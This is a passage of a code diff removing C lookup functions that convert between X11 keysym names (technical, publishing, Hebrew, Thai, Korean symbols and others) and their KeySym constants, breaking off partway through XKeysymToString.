- if (!strcmp(s, "implies")) return XK_implies;
- if (!strcmp(s, "identical")) return XK_identical;
- if (!strcmp(s, "radical")) return XK_radical;
- if (!strcmp(s, "includedin")) return XK_includedin;
- if (!strcmp(s, "includes")) return XK_includes;
- if (!strcmp(s, "intersection")) return XK_intersection;
- if (!strcmp(s, "union")) return XK_union;
- if (!strcmp(s, "logicaland")) return XK_logicaland;
- if (!strcmp(s, "logicalor")) return XK_logicalor;
- if (!strcmp(s, "partialderivative")) return XK_partialderivative;
- if (!strcmp(s, "function")) return XK_function;
- if (!strcmp(s, "leftarrow")) return XK_leftarrow;
- if (!strcmp(s, "uparrow")) return XK_uparrow;
- if (!strcmp(s, "rightarrow")) return XK_rightarrow;
- if (!strcmp(s, "downarrow")) return XK_downarrow;
-#endif /* XK_TECHNICAL */
-#ifdef XK_SPECIAL
- if (!strcmp(s, "blank")) return XK_blank;
- if (!strcmp(s, "soliddiamond")) return XK_soliddiamond;
- if (!strcmp(s, "checkerboard")) return XK_checkerboard;
- if (!strcmp(s, "ht")) return XK_ht;
- if (!strcmp(s, "ff")) return XK_ff;
- if (!strcmp(s, "cr")) return XK_cr;
- if (!strcmp(s, "lf")) return XK_lf;
- if (!strcmp(s, "nl")) return XK_nl;
- if (!strcmp(s, "vt")) return XK_vt;
- if (!strcmp(s, "lowrightcorner")) return XK_lowrightcorner;
- if (!strcmp(s, "uprightcorner")) return XK_uprightcorner;
- if (!strcmp(s, "upleftcorner")) return XK_upleftcorner;
- if (!strcmp(s, "lowleftcorner")) return XK_lowleftcorner;
- if (!strcmp(s, "crossinglines")) return XK_crossinglines;
- if (!strcmp(s, "horizlinescan1")) return XK_horizlinescan1;
- if (!strcmp(s, "horizlinescan3")) return XK_horizlinescan3;
- if (!strcmp(s, "horizlinescan5")) return XK_horizlinescan5;
- if (!strcmp(s, "horizlinescan7")) return XK_horizlinescan7;
- if (!strcmp(s, "horizlinescan9")) return XK_horizlinescan9;
- if (!strcmp(s, "leftt")) return XK_leftt;
- if (!strcmp(s, "rightt")) return XK_rightt;
- if (!strcmp(s, "bott")) return XK_bott;
- if (!strcmp(s, "topt")) return XK_topt;
- if (!strcmp(s, "vertbar")) return XK_vertbar;
-#endif /* XK_SPECIAL */
-#ifdef XK_PUBLISHING
- if (!strcmp(s, "emspace")) return XK_emspace;
- if (!strcmp(s, "enspace")) return XK_enspace;
- if (!strcmp(s, "em3space")) return XK_em3space;
- if (!strcmp(s, "em4space")) return XK_em4space;
- if (!strcmp(s, "digitspace")) return XK_digitspace;
- if (!strcmp(s, "punctspace")) return XK_punctspace;
- if (!strcmp(s, "thinspace")) return XK_thinspace;
- if (!strcmp(s, "hairspace")) return XK_hairspace;
- if (!strcmp(s, "emdash")) return XK_emdash;
- if (!strcmp(s, "endash")) return XK_endash;
- if (!strcmp(s, "signifblank")) return XK_signifblank;
- if (!strcmp(s, "ellipsis")) return XK_ellipsis;
- if (!strcmp(s, "doubbaselinedot")) return XK_doubbaselinedot;
- if (!strcmp(s, "onethird")) return XK_onethird;
- if (!strcmp(s, "twothirds")) return XK_twothirds;
- if (!strcmp(s, "onefifth")) return XK_onefifth;
- if (!strcmp(s, "twofifths")) return XK_twofifths;
- if (!strcmp(s, "threefifths")) return XK_threefifths;
- if (!strcmp(s, "fourfifths")) return XK_fourfifths;
- if (!strcmp(s, "onesixth")) return XK_onesixth;
- if (!strcmp(s, "fivesixths")) return XK_fivesixths;
- if (!strcmp(s, "careof")) return XK_careof;
- if (!strcmp(s, "figdash")) return XK_figdash;
- if (!strcmp(s, "leftanglebracket")) return XK_leftanglebracket;
- if (!strcmp(s, "decimalpoint")) return XK_decimalpoint;
- if (!strcmp(s, "rightanglebracket")) return XK_rightanglebracket;
- if (!strcmp(s, "marker")) return XK_marker;
- if (!strcmp(s, "oneeighth")) return XK_oneeighth;
- if (!strcmp(s, "threeeighths")) return XK_threeeighths;
- if (!strcmp(s, "fiveeighths")) return XK_fiveeighths;
- if (!strcmp(s, "seveneighths")) return XK_seveneighths;
- if (!strcmp(s, "trademark")) return XK_trademark;
- if (!strcmp(s, "signaturemark")) return XK_signaturemark;
- if (!strcmp(s, "trademarkincircle")) return XK_trademarkincircle;
- if (!strcmp(s, "leftopentriangle")) return XK_leftopentriangle;
- if (!strcmp(s, "rightopentriangle")) return XK_rightopentriangle;
- if (!strcmp(s, "emopencircle")) return XK_emopencircle;
- if (!strcmp(s, "emopenrectangle")) return XK_emopenrectangle;
- if (!strcmp(s, "leftsinglequotemark")) return XK_leftsinglequotemark;
- if (!strcmp(s, "rightsinglequotemark")) return XK_rightsinglequotemark;
- if (!strcmp(s, "leftdoublequotemark")) return XK_leftdoublequotemark;
- if (!strcmp(s, "rightdoublequotemark")) return XK_rightdoublequotemark;
- if (!strcmp(s, "prescription")) return XK_prescription;
- if (!strcmp(s, "minutes")) return XK_minutes;
- if (!strcmp(s, "seconds")) return XK_seconds;
- if (!strcmp(s, "latincross")) return XK_latincross;
- if (!strcmp(s, "hexagram")) return XK_hexagram;
- if (!strcmp(s, "filledrectbullet")) return XK_filledrectbullet;
- if (!strcmp(s, "filledlefttribullet")) return XK_filledlefttribullet;
- if (!strcmp(s, "filledrighttribullet")) return XK_filledrighttribullet;
- if (!strcmp(s, "emfilledcircle")) return XK_emfilledcircle;
- if (!strcmp(s, "emfilledrect")) return XK_emfilledrect;
- if (!strcmp(s, "enopencircbullet")) return XK_enopencircbullet;
- if (!strcmp(s, "enopensquarebullet")) return XK_enopensquarebullet;
- if (!strcmp(s, "openrectbullet")) return XK_openrectbullet;
- if (!strcmp(s, "opentribulletup")) return XK_opentribulletup;
- if (!strcmp(s, "opentribulletdown")) return XK_opentribulletdown;
- if (!strcmp(s, "openstar")) return XK_openstar;
- if (!strcmp(s, "enfilledcircbullet")) return XK_enfilledcircbullet;
- if (!strcmp(s, "enfilledsqbullet")) return XK_enfilledsqbullet;
- if (!strcmp(s, "filledtribulletup")) return XK_filledtribulletup;
- if (!strcmp(s, "filledtribulletdown")) return XK_filledtribulletdown;
- if (!strcmp(s, "leftpointer")) return XK_leftpointer;
- if (!strcmp(s, "rightpointer")) return XK_rightpointer;
- if (!strcmp(s, "club")) return XK_club;
- if (!strcmp(s, "diamond")) return XK_diamond;
- if (!strcmp(s, "heart")) return XK_heart;
- if (!strcmp(s, "maltesecross")) return XK_maltesecross;
- if (!strcmp(s, "dagger")) return XK_dagger;
- if (!strcmp(s, "doubledagger")) return XK_doubledagger;
- if (!strcmp(s, "checkmark")) return XK_checkmark;
- if (!strcmp(s, "ballotcross")) return XK_ballotcross;
- if (!strcmp(s, "musicalsharp")) return XK_musicalsharp;
- if (!strcmp(s, "musicalflat")) return XK_musicalflat;
- if (!strcmp(s, "malesymbol")) return XK_malesymbol;
- if (!strcmp(s, "femalesymbol")) return XK_femalesymbol;
- if (!strcmp(s, "telephone")) return XK_telephone;
- if (!strcmp(s, "telephonerecorder")) return XK_telephonerecorder;
- if (!strcmp(s, "phonographcopyright")) return XK_phonographcopyright;
- if (!strcmp(s, "caret")) return XK_caret;
- if (!strcmp(s, "singlelowquotemark")) return XK_singlelowquotemark;
- if (!strcmp(s, "doublelowquotemark")) return XK_doublelowquotemark;
- if (!strcmp(s, "cursor")) return XK_cursor;
-#endif /* XK_PUBLISHING */
-#ifdef XK_APL
- if (!strcmp(s, "leftcaret")) return XK_leftcaret;
- if (!strcmp(s, "rightcaret")) return XK_rightcaret;
- if (!strcmp(s, "downcaret")) return XK_downcaret;
- if (!strcmp(s, "upcaret")) return XK_upcaret;
- if (!strcmp(s, "overbar")) return XK_overbar;
- if (!strcmp(s, "downtack")) return XK_downtack;
- if (!strcmp(s, "upshoe")) return XK_upshoe;
- if (!strcmp(s, "downstile")) return XK_downstile;
- if (!strcmp(s, "underbar")) return XK_underbar;
- if (!strcmp(s, "jot")) return XK_jot;
- if (!strcmp(s, "quad")) return XK_quad;
- if (!strcmp(s, "uptack")) return XK_uptack;
- if (!strcmp(s, "circle")) return XK_circle;
- if (!strcmp(s, "upstile")) return XK_upstile;
- if (!strcmp(s, "downshoe")) return XK_downshoe;
- if (!strcmp(s, "rightshoe")) return XK_rightshoe;
- if (!strcmp(s, "leftshoe")) return XK_leftshoe;
- if (!strcmp(s, "lefttack")) return XK_lefttack;
- if (!strcmp(s, "righttack")) return XK_righttack;
-#endif /* XK_APL */
-#ifdef XK_HEBREW
- if (!strcmp(s, "hebrew_doublelowline")) return XK_hebrew_doublelowline;
- if (!strcmp(s, "hebrew_aleph")) return XK_hebrew_aleph;
- if (!strcmp(s, "hebrew_bet")) return XK_hebrew_bet;
- if (!strcmp(s, "hebrew_beth")) return XK_hebrew_beth;
- if (!strcmp(s, "hebrew_gimel")) return XK_hebrew_gimel;
- if (!strcmp(s, "hebrew_gimmel")) return XK_hebrew_gimmel;
- if (!strcmp(s, "hebrew_dalet")) return XK_hebrew_dalet;
- if (!strcmp(s, "hebrew_daleth")) return XK_hebrew_daleth;
- if (!strcmp(s, "hebrew_he")) return XK_hebrew_he;
- if (!strcmp(s, "hebrew_waw")) return XK_hebrew_waw;
- if (!strcmp(s, "hebrew_zain")) return XK_hebrew_zain;
- if (!strcmp(s, "hebrew_zayin")) return XK_hebrew_zayin;
- if (!strcmp(s, "hebrew_chet")) return XK_hebrew_chet;
- if (!strcmp(s, "hebrew_het")) return XK_hebrew_het;
- if (!strcmp(s, "hebrew_tet")) return XK_hebrew_tet;
- if (!strcmp(s, "hebrew_teth")) return XK_hebrew_teth;
- if (!strcmp(s, "hebrew_yod")) return XK_hebrew_yod;
- if (!strcmp(s, "hebrew_finalkaph")) return XK_hebrew_finalkaph;
- if (!strcmp(s, "hebrew_kaph")) return XK_hebrew_kaph;
- if (!strcmp(s, "hebrew_lamed")) return XK_hebrew_lamed;
- if (!strcmp(s, "hebrew_finalmem")) return XK_hebrew_finalmem;
- if (!strcmp(s, "hebrew_mem")) return XK_hebrew_mem;
- if (!strcmp(s, "hebrew_finalnun")) return XK_hebrew_finalnun;
- if (!strcmp(s, "hebrew_nun")) return XK_hebrew_nun;
- if (!strcmp(s, "hebrew_samech")) return XK_hebrew_samech;
- if (!strcmp(s, "hebrew_samekh")) return XK_hebrew_samekh;
- if (!strcmp(s, "hebrew_ayin")) return XK_hebrew_ayin;
- if (!strcmp(s, "hebrew_finalpe")) return XK_hebrew_finalpe;
- if (!strcmp(s, "hebrew_pe")) return XK_hebrew_pe;
- if (!strcmp(s, "hebrew_finalzade")) return XK_hebrew_finalzade;
- if (!strcmp(s, "hebrew_finalzadi")) return XK_hebrew_finalzadi;
- if (!strcmp(s, "hebrew_zade")) return XK_hebrew_zade;
- if (!strcmp(s, "hebrew_zadi")) return XK_hebrew_zadi;
- if (!strcmp(s, "hebrew_qoph")) return XK_hebrew_qoph;
- if (!strcmp(s, "hebrew_kuf")) return XK_hebrew_kuf;
- if (!strcmp(s, "hebrew_resh")) return XK_hebrew_resh;
- if (!strcmp(s, "hebrew_shin")) return XK_hebrew_shin;
- if (!strcmp(s, "hebrew_taw")) return XK_hebrew_taw;
- if (!strcmp(s, "hebrew_taf")) return XK_hebrew_taf;
- if (!strcmp(s, "Hebrew_switch")) return XK_Hebrew_switch;
-#endif /* XK_HEBREW */
-#ifdef XK_THAI
- if (!strcmp(s, "Thai_kokai")) return XK_Thai_kokai;
- if (!strcmp(s, "Thai_khokhai")) return XK_Thai_khokhai;
- if (!strcmp(s, "Thai_khokhuat")) return XK_Thai_khokhuat;
- if (!strcmp(s, "Thai_khokhwai")) return XK_Thai_khokhwai;
- if (!strcmp(s, "Thai_khokhon")) return XK_Thai_khokhon;
- if (!strcmp(s, "Thai_khorakhang")) return XK_Thai_khorakhang;
- if (!strcmp(s, "Thai_ngongu")) return XK_Thai_ngongu;
- if (!strcmp(s, "Thai_chochan")) return XK_Thai_chochan;
- if (!strcmp(s, "Thai_choching")) return XK_Thai_choching;
- if (!strcmp(s, "Thai_chochang")) return XK_Thai_chochang;
- if (!strcmp(s, "Thai_soso")) return XK_Thai_soso;
- if (!strcmp(s, "Thai_chochoe")) return XK_Thai_chochoe;
- if (!strcmp(s, "Thai_yoying")) return XK_Thai_yoying;
- if (!strcmp(s, "Thai_dochada")) return XK_Thai_dochada;
- if (!strcmp(s, "Thai_topatak")) return XK_Thai_topatak;
- if (!strcmp(s, "Thai_thothan")) return XK_Thai_thothan;
- if (!strcmp(s, "Thai_thonangmontho")) return XK_Thai_thonangmontho;
- if (!strcmp(s, "Thai_thophuthao")) return XK_Thai_thophuthao;
- if (!strcmp(s, "Thai_nonen")) return XK_Thai_nonen;
- if (!strcmp(s, "Thai_dodek")) return XK_Thai_dodek;
- if (!strcmp(s, "Thai_totao")) return XK_Thai_totao;
- if (!strcmp(s, "Thai_thothung")) return XK_Thai_thothung;
- if (!strcmp(s, "Thai_thothahan")) return XK_Thai_thothahan;
- if (!strcmp(s, "Thai_thothong")) return XK_Thai_thothong;
- if (!strcmp(s, "Thai_nonu")) return XK_Thai_nonu;
- if (!strcmp(s, "Thai_bobaimai")) return XK_Thai_bobaimai;
- if (!strcmp(s, "Thai_popla")) return XK_Thai_popla;
- if (!strcmp(s, "Thai_phophung")) return XK_Thai_phophung;
- if (!strcmp(s, "Thai_fofa")) return XK_Thai_fofa;
- if (!strcmp(s, "Thai_phophan")) return XK_Thai_phophan;
- if (!strcmp(s, "Thai_fofan")) return XK_Thai_fofan;
- if (!strcmp(s, "Thai_phosamphao")) return XK_Thai_phosamphao;
- if (!strcmp(s, "Thai_moma")) return XK_Thai_moma;
- if (!strcmp(s, "Thai_yoyak")) return XK_Thai_yoyak;
- if (!strcmp(s, "Thai_rorua")) return XK_Thai_rorua;
- if (!strcmp(s, "Thai_ru")) return XK_Thai_ru;
- if (!strcmp(s, "Thai_loling")) return XK_Thai_loling;
- if (!strcmp(s, "Thai_lu")) return XK_Thai_lu;
- if (!strcmp(s, "Thai_wowaen")) return XK_Thai_wowaen;
- if (!strcmp(s, "Thai_sosala")) return XK_Thai_sosala;
- if (!strcmp(s, "Thai_sorusi")) return XK_Thai_sorusi;
- if (!strcmp(s, "Thai_sosua")) return XK_Thai_sosua;
- if (!strcmp(s, "Thai_hohip")) return XK_Thai_hohip;
- if (!strcmp(s, "Thai_lochula")) return XK_Thai_lochula;
- if (!strcmp(s, "Thai_oang")) return XK_Thai_oang;
- if (!strcmp(s, "Thai_honokhuk")) return XK_Thai_honokhuk;
- if (!strcmp(s, "Thai_paiyannoi")) return XK_Thai_paiyannoi;
- if (!strcmp(s, "Thai_saraa")) return XK_Thai_saraa;
- if (!strcmp(s, "Thai_maihanakat")) return XK_Thai_maihanakat;
- if (!strcmp(s, "Thai_saraaa")) return XK_Thai_saraaa;
- if (!strcmp(s, "Thai_saraam")) return XK_Thai_saraam;
- if (!strcmp(s, "Thai_sarai")) return XK_Thai_sarai;
- if (!strcmp(s, "Thai_saraii")) return XK_Thai_saraii;
- if (!strcmp(s, "Thai_saraue")) return XK_Thai_saraue;
- if (!strcmp(s, "Thai_sarauee")) return XK_Thai_sarauee;
- if (!strcmp(s, "Thai_sarau")) return XK_Thai_sarau;
- if (!strcmp(s, "Thai_sarauu")) return XK_Thai_sarauu;
- if (!strcmp(s, "Thai_phinthu")) return XK_Thai_phinthu;
- if (!strcmp(s, "Thai_maihanakat_maitho")) return XK_Thai_maihanakat_maitho;
- if (!strcmp(s, "Thai_baht")) return XK_Thai_baht;
- if (!strcmp(s, "Thai_sarae")) return XK_Thai_sarae;
- if (!strcmp(s, "Thai_saraae")) return XK_Thai_saraae;
- if (!strcmp(s, "Thai_sarao")) return XK_Thai_sarao;
- if (!strcmp(s, "Thai_saraaimaimuan")) return XK_Thai_saraaimaimuan;
- if (!strcmp(s, "Thai_saraaimaimalai")) return XK_Thai_saraaimaimalai;
- if (!strcmp(s, "Thai_lakkhangyao")) return XK_Thai_lakkhangyao;
- if (!strcmp(s, "Thai_maiyamok")) return XK_Thai_maiyamok;
- if (!strcmp(s, "Thai_maitaikhu")) return XK_Thai_maitaikhu;
- if (!strcmp(s, "Thai_maiek")) return XK_Thai_maiek;
- if (!strcmp(s, "Thai_maitho")) return XK_Thai_maitho;
- if (!strcmp(s, "Thai_maitri")) return XK_Thai_maitri;
- if (!strcmp(s, "Thai_maichattawa")) return XK_Thai_maichattawa;
- if (!strcmp(s, "Thai_thanthakhat")) return XK_Thai_thanthakhat;
- if (!strcmp(s, "Thai_nikhahit")) return XK_Thai_nikhahit;
- if (!strcmp(s, "Thai_leksun")) return XK_Thai_leksun;
- if (!strcmp(s, "Thai_leknung")) return XK_Thai_leknung;
- if (!strcmp(s, "Thai_leksong")) return XK_Thai_leksong;
- if (!strcmp(s, "Thai_leksam")) return XK_Thai_leksam;
- if (!strcmp(s, "Thai_leksi")) return XK_Thai_leksi;
- if (!strcmp(s, "Thai_lekha")) return XK_Thai_lekha;
- if (!strcmp(s, "Thai_lekhok")) return XK_Thai_lekhok;
- if (!strcmp(s, "Thai_lekchet")) return XK_Thai_lekchet;
- if (!strcmp(s, "Thai_lekpaet")) return XK_Thai_lekpaet;
- if (!strcmp(s, "Thai_lekkao")) return XK_Thai_lekkao;
-#endif /* XK_THAI */
-#ifdef XK_KOREAN
- if (!strcmp(s, "Hangul")) return XK_Hangul;
- if (!strcmp(s, "Hangul_Start")) return XK_Hangul_Start;
- if (!strcmp(s, "Hangul_End")) return XK_Hangul_End;
- if (!strcmp(s, "Hangul_Hanja")) return XK_Hangul_Hanja;
- if (!strcmp(s, "Hangul_Jamo")) return XK_Hangul_Jamo;
- if (!strcmp(s, "Hangul_Romaja")) return XK_Hangul_Romaja;
- if (!strcmp(s, "Hangul_Codeinput")) return XK_Hangul_Codeinput;
- if (!strcmp(s, "Hangul_Jeonja")) return XK_Hangul_Jeonja;
- if (!strcmp(s, "Hangul_Banja")) return XK_Hangul_Banja;
- if (!strcmp(s, "Hangul_PreHanja")) return XK_Hangul_PreHanja;
- if (!strcmp(s, "Hangul_PostHanja")) return XK_Hangul_PostHanja;
- if (!strcmp(s, "Hangul_SingleCandidate")) return XK_Hangul_SingleCandidate;
- if (!strcmp(s, "Hangul_MultipleCandidate")) return XK_Hangul_MultipleCandidate;
- if (!strcmp(s, "Hangul_PreviousCandidate")) return XK_Hangul_PreviousCandidate;
- if (!strcmp(s, "Hangul_Special")) return XK_Hangul_Special;
- if (!strcmp(s, "Hangul_switch")) return XK_Hangul_switch;
- if (!strcmp(s, "Hangul_Kiyeog")) return XK_Hangul_Kiyeog;
- if (!strcmp(s, "Hangul_SsangKiyeog")) return XK_Hangul_SsangKiyeog;
- if (!strcmp(s, "Hangul_KiyeogSios")) return XK_Hangul_KiyeogSios;
- if (!strcmp(s, "Hangul_Nieun")) return XK_Hangul_Nieun;
- if (!strcmp(s, "Hangul_NieunJieuj")) return XK_Hangul_NieunJieuj;
- if (!strcmp(s, "Hangul_NieunHieuh")) return XK_Hangul_NieunHieuh;
- if (!strcmp(s, "Hangul_Dikeud")) return XK_Hangul_Dikeud;
- if (!strcmp(s, "Hangul_SsangDikeud")) return XK_Hangul_SsangDikeud;
- if (!strcmp(s, "Hangul_Rieul")) return XK_Hangul_Rieul;
- if (!strcmp(s, "Hangul_RieulKiyeog")) return XK_Hangul_RieulKiyeog;
- if (!strcmp(s, "Hangul_RieulMieum")) return XK_Hangul_RieulMieum;
- if (!strcmp(s, "Hangul_RieulPieub")) return XK_Hangul_RieulPieub;
- if (!strcmp(s, "Hangul_RieulSios")) return XK_Hangul_RieulSios;
- if (!strcmp(s, "Hangul_RieulTieut")) return XK_Hangul_RieulTieut;
- if (!strcmp(s, "Hangul_RieulPhieuf")) return XK_Hangul_RieulPhieuf;
- if (!strcmp(s, "Hangul_RieulHieuh")) return XK_Hangul_RieulHieuh;
- if (!strcmp(s, "Hangul_Mieum")) return XK_Hangul_Mieum;
- if (!strcmp(s, "Hangul_Pieub")) return XK_Hangul_Pieub;
- if (!strcmp(s, "Hangul_SsangPieub")) return XK_Hangul_SsangPieub;
- if (!strcmp(s, "Hangul_PieubSios")) return XK_Hangul_PieubSios;
- if (!strcmp(s, "Hangul_Sios")) return XK_Hangul_Sios;
- if (!strcmp(s, "Hangul_SsangSios")) return XK_Hangul_SsangSios;
- if (!strcmp(s, "Hangul_Ieung")) return XK_Hangul_Ieung;
- if (!strcmp(s, "Hangul_Jieuj")) return XK_Hangul_Jieuj;
- if (!strcmp(s, "Hangul_SsangJieuj")) return XK_Hangul_SsangJieuj;
- if (!strcmp(s, "Hangul_Cieuc")) return XK_Hangul_Cieuc;
- if (!strcmp(s, "Hangul_Khieuq")) return XK_Hangul_Khieuq;
- if (!strcmp(s, "Hangul_Tieut")) return XK_Hangul_Tieut;
- if (!strcmp(s, "Hangul_Phieuf")) return XK_Hangul_Phieuf;
- if (!strcmp(s, "Hangul_Hieuh")) return XK_Hangul_Hieuh;
- if (!strcmp(s, "Hangul_A")) return XK_Hangul_A;
- if (!strcmp(s, "Hangul_AE")) return XK_Hangul_AE;
- if (!strcmp(s, "Hangul_YA")) return XK_Hangul_YA;
- if (!strcmp(s, "Hangul_YAE")) return XK_Hangul_YAE;
- if (!strcmp(s, "Hangul_EO")) return XK_Hangul_EO;
- if (!strcmp(s, "Hangul_E")) return XK_Hangul_E;
- if (!strcmp(s, "Hangul_YEO")) return XK_Hangul_YEO;
- if (!strcmp(s, "Hangul_YE")) return XK_Hangul_YE;
- if (!strcmp(s, "Hangul_O")) return XK_Hangul_O;
- if (!strcmp(s, "Hangul_WA")) return XK_Hangul_WA;
- if (!strcmp(s, "Hangul_WAE")) return XK_Hangul_WAE;
- if (!strcmp(s, "Hangul_OE")) return XK_Hangul_OE;
- if (!strcmp(s, "Hangul_YO")) return XK_Hangul_YO;
- if (!strcmp(s, "Hangul_U")) return XK_Hangul_U;
- if (!strcmp(s, "Hangul_WEO")) return XK_Hangul_WEO;
- if (!strcmp(s, "Hangul_WE")) return XK_Hangul_WE;
- if (!strcmp(s, "Hangul_WI")) return XK_Hangul_WI;
- if (!strcmp(s, "Hangul_YU")) return XK_Hangul_YU;
- if (!strcmp(s, "Hangul_EU")) return XK_Hangul_EU;
- if (!strcmp(s, "Hangul_YI")) return XK_Hangul_YI;
- if (!strcmp(s, "Hangul_I")) return XK_Hangul_I;
- if (!strcmp(s, "Hangul_J_Kiyeog")) return XK_Hangul_J_Kiyeog;
- if (!strcmp(s, "Hangul_J_SsangKiyeog")) return XK_Hangul_J_SsangKiyeog;
- if (!strcmp(s, "Hangul_J_KiyeogSios")) return XK_Hangul_J_KiyeogSios;
- if (!strcmp(s, "Hangul_J_Nieun")) return XK_Hangul_J_Nieun;
- if (!strcmp(s, "Hangul_J_NieunJieuj")) return XK_Hangul_J_NieunJieuj;
- if (!strcmp(s, "Hangul_J_NieunHieuh")) return XK_Hangul_J_NieunHieuh;
- if (!strcmp(s, "Hangul_J_Dikeud")) return XK_Hangul_J_Dikeud;
- if (!strcmp(s, "Hangul_J_Rieul")) return XK_Hangul_J_Rieul;
- if (!strcmp(s, "Hangul_J_RieulKiyeog")) return XK_Hangul_J_RieulKiyeog;
- if (!strcmp(s, "Hangul_J_RieulMieum")) return XK_Hangul_J_RieulMieum;
- if (!strcmp(s, "Hangul_J_RieulPieub")) return XK_Hangul_J_RieulPieub;
- if (!strcmp(s, "Hangul_J_RieulSios")) return XK_Hangul_J_RieulSios;
- if (!strcmp(s, "Hangul_J_RieulTieut")) return XK_Hangul_J_RieulTieut;
- if (!strcmp(s, "Hangul_J_RieulPhieuf")) return XK_Hangul_J_RieulPhieuf;
- if (!strcmp(s, "Hangul_J_RieulHieuh")) return XK_Hangul_J_RieulHieuh;
- if (!strcmp(s, "Hangul_J_Mieum")) return XK_Hangul_J_Mieum;
- if (!strcmp(s, "Hangul_J_Pieub")) return XK_Hangul_J_Pieub;
- if (!strcmp(s, "Hangul_J_PieubSios")) return XK_Hangul_J_PieubSios;
- if (!strcmp(s, "Hangul_J_Sios")) return XK_Hangul_J_Sios;
- if (!strcmp(s, "Hangul_J_SsangSios")) return XK_Hangul_J_SsangSios;
- if (!strcmp(s, "Hangul_J_Ieung")) return XK_Hangul_J_Ieung;
- if (!strcmp(s, "Hangul_J_Jieuj")) return XK_Hangul_J_Jieuj;
- if (!strcmp(s, "Hangul_J_Cieuc")) return XK_Hangul_J_Cieuc;
- if (!strcmp(s, "Hangul_J_Khieuq")) return XK_Hangul_J_Khieuq;
- if (!strcmp(s, "Hangul_J_Tieut")) return XK_Hangul_J_Tieut;
- if (!strcmp(s, "Hangul_J_Phieuf")) return XK_Hangul_J_Phieuf;
- if (!strcmp(s, "Hangul_J_Hieuh")) return XK_Hangul_J_Hieuh;
- if (!strcmp(s, "Hangul_RieulYeorinHieuh")) return XK_Hangul_RieulYeorinHieuh;
- if (!strcmp(s, "Hangul_SunkyeongeumMieum")) return XK_Hangul_SunkyeongeumMieum;
- if (!strcmp(s, "Hangul_SunkyeongeumPieub")) return XK_Hangul_SunkyeongeumPieub;
- if (!strcmp(s, "Hangul_PanSios")) return XK_Hangul_PanSios;
- if (!strcmp(s, "Hangul_KkogjiDalrinIeung")) return XK_Hangul_KkogjiDalrinIeung;
- if (!strcmp(s, "Hangul_SunkyeongeumPhieuf")) return XK_Hangul_SunkyeongeumPhieuf;
- if (!strcmp(s, "Hangul_YeorinHieuh")) return XK_Hangul_YeorinHieuh;
- if (!strcmp(s, "Hangul_AraeA")) return XK_Hangul_AraeA;
- if (!strcmp(s, "Hangul_AraeAE")) return XK_Hangul_AraeAE;
- if (!strcmp(s, "Hangul_J_PanSios")) return XK_Hangul_J_PanSios;
- if (!strcmp(s, "Hangul_J_KkogjiDalrinIeung")) return XK_Hangul_J_KkogjiDalrinIeung;
- if (!strcmp(s, "Hangul_J_YeorinHieuh")) return XK_Hangul_J_YeorinHieuh;
- if (!strcmp(s, "Korean_Won")) return XK_Korean_Won;
-#endif /* XK_KOREAN */
- if (!strcmp(s, "EuroSign")) return XK_EuroSign;
-#endif
- return NoSymbol;
-}
-
-
-char *XKeysymToString(KeySym k) {
-#ifndef XK_0_nosuch
- if (k == XK_VoidSymbol) return "VoidSymbol";
-#ifdef XK_MISCELLANY
- if (k == XK_BackSpace) return "BackSpace";
- if (k == XK_Tab) return "Tab";
- if (k == XK_Linefeed) return "Linefeed";
- if (k == XK_Clear) return "Clear";
- if (k == XK_Return) return "Return";
- if (k == XK_Pause) return "Pause";
- if (k == XK_Scroll_Lock) return "Scroll_Lock";
- if (k == XK_Sys_Req) return "Sys_Req";
- if (k == XK_Escape) return "Escape";
- if (k == XK_Delete) return "Delete";
- if (k == XK_Multi_key) return "Multi_key";
- if (k == XK_SingleCandidate) return "SingleCandidate";
- if (k == XK_MultipleCandidate) return "MultipleCandidate";
- if (k == XK_PreviousCandidate) return "PreviousCandidate";
- if (k == XK_Kanji) return "Kanji";
- if (k == XK_Muhenkan) return "Muhenkan";
- if (k == XK_Henkan_Mode) return "Henkan_Mode";
- if (k == XK_Henkan) return "Henkan";
- if (k == XK_Romaji) return "Romaji";
- if (k == XK_Hiragana) return "Hiragana";
- if (k == XK_Katakana) return "Katakana";
- if (k == XK_Hiragana_Katakana) return "Hiragana_Katakana";
- if (k == XK_Zenkaku) return "Zenkaku";
- if (k == XK_Hankaku) return "Hankaku";
- if (k == XK_Zenkaku_Hankaku) return "Zenkaku_Hankaku";
- if (k == XK_Touroku) return "Touroku";
- if (k == XK_Massyo) return "Massyo";
- if (k == XK_Kana_Lock) return "Kana_Lock";
- if (k == XK_Kana_Shift) return "Kana_Shift";
- if (k == XK_Eisu_Shift) return "Eisu_Shift";
- if (k == XK_Eisu_toggle) return "Eisu_toggle";
- if (k == XK_Zen_Koho) return "Zen_Koho";
- if (k == XK_Mae_Koho) return "Mae_Koho";
- if (k == XK_Home) return "Home";
- if (k == XK_Left) return "Left";
- if (k == XK_Up) return "Up";
- if (k == XK_Right) return "Right";
- if (k == XK_Down) return "Down";
- if (k == XK_Prior) return "Prior";
- if (k == XK_Page_Up) return "Page_Up";
- if (k == XK_Next) return "Next";
- if (k == XK_Page_Down) return "Page_Down";
- if (k == XK_End) return "End";
- if (k == XK_Begin) return "Begin";
- if (k == XK_Select) return "Select";
- if (k == XK_Print) return "Print";
- if (k == XK_Execute) return "Execute";
- if (k == XK_Insert) return "Insert";
- if (k == XK_Undo) return "Undo";
- if (k == XK_Redo) return "Redo";
- if (k == XK_Menu) return "Menu";
- if (k == XK_Find) return "Find";
- if (k == XK_Cancel) return "Cancel";
- if (k == XK_Help) return "Help";
- if (k == XK_Break) return "Break";
- if (k == XK_Mode_switch) return "Mode_switch";
- if (k == XK_script_switch) return "script_switch";
- if (k == XK_Num_Lock) return "Num_Lock";
- if (k == XK_KP_Space) return "KP_Space";
- if (k == XK_KP_Tab) return "KP_Tab";
- if (k == XK_KP_Enter) return "KP_Enter";
- if (k == XK_KP_F1) return "KP_F1";
- if (k == XK_KP_F2) return "KP_F2";
- if (k == XK_KP_F3) return "KP_F3";
- if (k == XK_KP_F4) return "KP_F4";
- if (k == XK_KP_Home) return "KP_Home";
- if (k == XK_KP_Left) return "KP_Left";
- if (k == XK_KP_Up) return "KP_Up";
- if (k == XK_KP_Right) return "KP_Right";
- if (k == XK_KP_Down) return "KP_Down";
- if (k == XK_KP_Prior) return "KP_Prior";
- if (k == XK_KP_Page_Up) return "KP_Page_Up";
- if (k == XK_KP_Next) return "KP_Next";
- if (k == XK_KP_Page_Down) return "KP_Page_Down";
- if (k == XK_KP_End) return "KP_End";
- if (k == XK_KP_Begin) return "KP_Begin";
- if (k == XK_KP_Insert) return "KP_Insert";
- if (k == XK_KP_Delete) return "KP_Delete";
